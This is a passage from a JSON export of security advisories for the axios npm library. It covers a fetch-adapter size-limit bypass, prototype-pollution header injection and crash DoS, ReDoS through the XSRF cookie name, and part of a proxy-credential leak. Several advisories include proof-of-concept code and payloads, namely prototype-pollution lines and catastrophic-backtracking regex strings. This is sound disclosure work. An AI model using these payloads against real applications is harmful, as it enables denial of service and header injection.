"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-777c-7fjr-54vf/GHSA-777c-7fjr-54vf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.7.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44488"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-06-04T14:21:37Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "## Summary\n\nAxios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.\n\nThis can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.\n\n## Impact\n\nThe impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.\n\nThis does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.\n\nServer-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.\n\n## Affected Functionality\n\nAffected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.\n\nRelevant configurations include:\n\n- `adapter: 'fetch'`\n- `adapter: ['fetch', ...]` when `fetch` is selected\n- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`\n- custom fetch environments configured through `env.fetch`\n\nUnaffected functionality includes:\n\n- Node.js default `http` adapter enforcement\n- versions before the fetch adapter was introduced\n- configurations that do not rely on finite axios size limits\n\n## Technical Details\n\nIn vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.\n\nThe fix in `e5540dc` added:\n\n- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`\n- upfront `data:` URL decoded-size checks\n- outbound body-size checks before dispatch\n- `Content-Length` response pre-checks\n- streaming response enforcement\n- fallback checks for environments without `ReadableStream`\n- regression tests in `tests/unit/adapters/fetch.test.js`\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n let received = 0;\n\n req.on('data', chunk =\u003e {\n received += chunk.length;\n });\n\n req.on('end', () =\u003e {\n res.end(JSON.stringify({ received }));\n });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, resolve));\nconst url = `http://127.0.0.1:${server.address().port}/`;\n\nawait axios.post(url, 'A'.repeat(2 * 1024 * 1024), {\n adapter: 'fetch',\n maxBodyLength: 1024\n});\n\n// Vulnerable versions succeed and the server receives 2097152 bytes.\n// Fixed versions reject with ERR_BAD_REQUEST.\n\nserver.close();\n```\n\n## Workarounds\n\nUse the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.\n\nValidate or cap attacker-controlled request bodies before passing them to axios.\n\nReject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\nWhen Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.\n\n### Details\nmaxBodyLength and maxContentLength are not applied in the fetch adapter flow:\n - lib/adapters/fetch.js (146-160): config destructuring does not include these controls.\n - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.\n - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.\nBy contrast, the HTTP adapter enforces both limits.\n\n### PoC\n Environment:\n - Axios main at commit f7a4ee2\n - Node v24.2.0\n\nSteps:\n 1. Start an HTTP server that counts received bytes and echoes {received}.\n 2. Send 2 MiB with:\n - adapter: 'fetch'\n - maxBodyLength: 1024\n 3. Request a 4 KiB data: URL with:\n - adapter: 'fetch'\n - maxContentLength: 16\n\nExpected secure behavior: both requests rejected.\n Observed:\n - Upload: success, server received 2097152\n - data: response: success, length 4096\n\n### Impact\nType: DoS / resource exhaustion due to limit bypass.\nImpacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.\n\u003c/details\u003e\n\n---",
|
||
"id": "GHSA-777c-7fjr-54vf",
|
||
"modified": "2026-06-04T14:30:08.166823960Z",
|
||
"published": "2026-06-04T14:21:37Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/pull/10795"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/pull/10796"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
|
||
}
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Allocation of Resources Without Limits or Throttling in Axios"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-898c-q2cr-xwhg/GHSA-898c-q2cr-xwhg.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.31.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-898c-q2cr-xwhg/GHSA-898c-q2cr-xwhg.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.32.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44490"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1321"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-29T15:54:57Z",
|
||
"nvd_published_at": null,
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "## Summary\n\naxios `1.15.2` exposes two read-side prototype-pollution gadgets. When `Object.prototype` is polluted by an upstream dependency in the same process (e.g. lodash `_.merge` / [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487)), axios silently picks up the polluted values:\n\n1. **Header injection** - `lib/utils.js` line 406 builds `merge()`'s accumulator as `result = {}`, so `result[targetKey]` (line 414) walks `Object.prototype` and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.\n2. **Crash DoS** - `lib/core/mergeConfig.js` line 26 builds the `hasOwnProperty` descriptor as a plain-object literal. `Object.defineProperty` reads `descriptor.get`/`descriptor.set` via the prototype chain, so a polluted `Object.prototype.get` or `Object.prototype.set` makes the call throw `TypeError` synchronously on every axios request.\n\n## Affected Properties\n\n| Polluted slot | Effect |\n|---|---|\n| `Object.prototype.common` | injects headers on every method |\n| `Object.prototype.delete` / `.head` / `.post` / `.put` / `.patch` / `.query` | injects headers on the matching method |\n| `Object.prototype.get` | every axios request throws `TypeError: Getter must be a function` from `mergeConfig.js:26` |\n| `Object.prototype.set` | every axios request throws `TypeError: Setter must be a function` from `mergeConfig.js:26` |\n\nPer-request headers (`axios.request(url, { headers: {...} })`) overwrite polluted entries. Polluting `Object.prototype.get` triggers the crash before any header is built.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Finding A - header injection\nObject.prototype.common = { 'X-Poisoned': 'yes' };\nawait axios.get('http://api.example.com/users');\n// Wire request carries `X-Poisoned: yes`.\n\n// Finding B - crash DoS\nObject.prototype.get = { something: 'anything' };\nawait axios.get('http://api.example.com/users');\n// TypeError: Getter must be a function: #\u003cObject\u003e\n// at Function.defineProperty (\u003canonymous\u003e)\n// at mergeConfig (lib/core/mergeConfig.js:26:10)\n```\n\n## Impact\n\n- **Server hang** (`Content-Length: 99999`): receiver waits for a body that never arrives. Affects requests with a body.\n- **CL+TE conflict** (`Transfer-Encoding: chunked` rides alongside axios's auto `Content-Length`): receiver rejects with `400 Bad Request`. Affects requests with a body.\n- **Response suppression** (`If-None-Match: *`): receiver returns empty `304 Not Modified`. Affects GET / HEAD.\n- **Crash DoS** (`Object.prototype.get` / `.set`): every axios request fails synchronously with `TypeError`, not `AxiosError`, so handlers filtering on `error.isAxiosError` mishandle the failure.\n\n## Attack Flow\n\n```mermaid\nflowchart TD\n ROOT[\"Polluted Object.prototype\u003cbr/\u003evia upstream gadget (e.g. lodash \u0026lt;= 4.17.10 _.merge / CVE-2018-16487)\u003cbr/\u003eaxios \u0026lt;= 1.15.2\"]\n\n ROOT --\u003e CLASS_A[\"A. Arbitrary HTTP Header Injection\u003cbr/\u003ePolluted defaults.headers slot rides along on every outbound axios request\"]\n ROOT --\u003e CLASS_B[\"B. Crash DoS via Object.prototype.get / .set\u003cbr/\u003ePolluted descriptor breaks Object.defineProperty in mergeConfig\"]\n\n CLASS_A --\u003e PRE_A[\"Precondition: header not set per-request by the app\u003cbr/\u003eInjected via defaults.headers slot\u003cbr/\u003e(common, delete, head, post, put, patch, query)\"]\n\n PRE_A --\u003e PA1[\"Response Suppression\u003cbr/\u003eTrigger: common = {If-None-Match: *}\u003cbr/\u003eAffects GET / HEAD\"]\n PA1 --\u003e SA1[\"DoS\u003cbr/\u003e304 Not Modified empty\"]\n\n PRE_A --\u003e PA2[\"Server Hang\u003cbr/\u003eTrigger: common = {Content-Length: 99999}\u003cbr/\u003eAffects requests with body\"]\n PA2 --\u003e SA2[\"DoS\u003cbr/\u003econnection hang\"]\n\n PRE_A --\u003e PA3[\"CL+TE Conflict\u003cbr/\u003eTrigger: common = {Transfer-Encoding: chunked}\u003cbr/\u003eAffects requests with body\"]\n PA3 --\u003e SA3[\"DoS\u003cbr/\u003e400 Bad Request\"]\n\n CLASS_B --\u003e SB1[\"DoS\u003cbr/\u003eTypeError: Getter / Setter must be a function\u003cbr/\u003eCrashes every axios request, not only GET\"]\n\n %% Styles\n style ROOT fill:#f87171,stroke:#991b1b,color:#fff\n style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff\n style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff\n style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b\n style PA1 fill:#fbbf24,stroke:#92400e,color:#000\n style PA2 fill:#fbbf24,stroke:#92400e,color:#000\n style PA3 fill:#fbbf24,stroke:#92400e,color:#000\n style SA1 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA2 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA3 fill:#ef4444,stroke:#991b1b,color:#fff\n style SB1 fill:#ef4444,stroke:#991b1b,color:#fff\n```\n\n## Root Cause\n\n**Finding A.** `lib/utils.js:404-429`'s `merge()` creates `result = {}` at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (`isPlainObject(result[targetKey])`) still walks the prototype chain. When `targetKey` matches a polluted slot, `result[targetKey]` returns the polluted nested object, and the recursive `merge(result[targetKey], val)` on line 415 iterates that object's own keys via `forEach` and copies them as own properties into the new accumulator. Those keys flow through `mergeConfig.js:35` → `Axios.js:148` (`utils.merge(headers.common, headers[config.method])`) → `Axios.js:155` (`AxiosHeaders.concat(...)`) → onto the wire via `http.js:677` (`headers: headers.toJSON()`) → `http.js:767` (`transport.request(options, ...)`).\n\n**Finding B.** `lib/core/mergeConfig.js:25` correctly makes `config = Object.create(null)`, but the descriptor passed on line 26 is a plain-object literal - its `get`/`set` lookups walk `Object.prototype`. A polluted non-function `Object.prototype.get` or `.set` makes `Object.defineProperty` throw `TypeError: Getter must be a function` (or `Setter must be a function`) before the call returns. The descriptor is built unconditionally on every `mergeConfig` invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.\n\n## Suggested Fix\n\nUse null-prototype objects in place of the plain-object literals at `lib/utils.js:406` and `lib/core/mergeConfig.js:26-31`. The same descriptor pattern recurs at `lib/core/AxiosError.js:37`, `lib/core/AxiosHeaders.js:100`, `lib/utils.js:447/454/492/498`, and `lib/adapters/adapters.js:28/32`.\n\n## Resources\n\n- [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487) - `lodash.merge` prototype pollution in `lodash \u003c= 4.17.10`\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) - Improperly Controlled Modification of Object Prototype Attributes",
|
||
"id": "GHSA-898c-q2cr-xwhg",
|
||
"modified": "2026-06-01T18:14:14.962380027Z",
|
||
"published": "2026-05-29T15:54:57Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16487"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-q744-r27r-j485"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "axios has DoS \u0026 Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hfxv-24rg-xrqf/GHSA-hfxv-24rg-xrqf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.31.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hfxv-24rg-xrqf/GHSA-hfxv-24rg-xrqf.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.32.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44496"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-400",
|
||
"CWE-1333"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-06-04T14:24:06Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: 'XSRF-TOKEN'` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n const start = Date.now();\n\n try {\n cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n } catch {}\n\n return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n const cookie = 'x='.padEnd(n, 'a') + '!';\n console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n cookie: 'session=abc; ' + 'a'.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = '([^;]+)+$' + '\\\\|'.repeat(10);\nconst maliciousName = '(([^;])+)+\\\\$'; // nested quantifier pattern\n\nconsole.log('=== ReDoS via Cookie Name Injection PoC ===');\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n const payload = '(([^;])+)+' + 'X'.repeat(len);\n const start = Date.now();\n try {\n cookiesRead(payload);\n } catch (e) {\n // May throw on invalid regex, but valid evil patterns won't throw\n }\n const elapsed = Date.now() - start;\n console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log('\\n--- Exponential Backtracking Demo ---');\nfor (const n of [20, 22, 24, 26]) {\n const evilName = '(' + 'a'.repeat(1) + '+)+$';\n const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking\n globalThis.document = { cookie: testCookie };\n const start = Date.now();\n try {\n cookiesRead(evilName);\n } catch(e) {}\n const elapsed = Date.now() - start;\n console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$\u0026');\n}\n\n// ...\n\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(\n new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')\n );\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const cookies = document.cookie.split('; ');\n for (const cookie of cookies) {\n const eqIndex = cookie.indexOf('=');\n if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n return decodeURIComponent(cookie.substring(eqIndex + 1));\n }\n }\n return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---",
|
||
"id": "GHSA-hfxv-24rg-xrqf",
|
||
"modified": "2026-06-04T14:30:08.078124175Z",
|
||
"published": "2026-06-04T14:24:06Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v0.32.0"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
|
||
}
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j5f8-grm9-p9fc/GHSA-j5f8-grm9-p9fc.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.31.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j5f8-grm9-p9fc/GHSA-j5f8-grm9-p9fc.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.32.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44486"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-200"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-06-04T14:15:01Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### 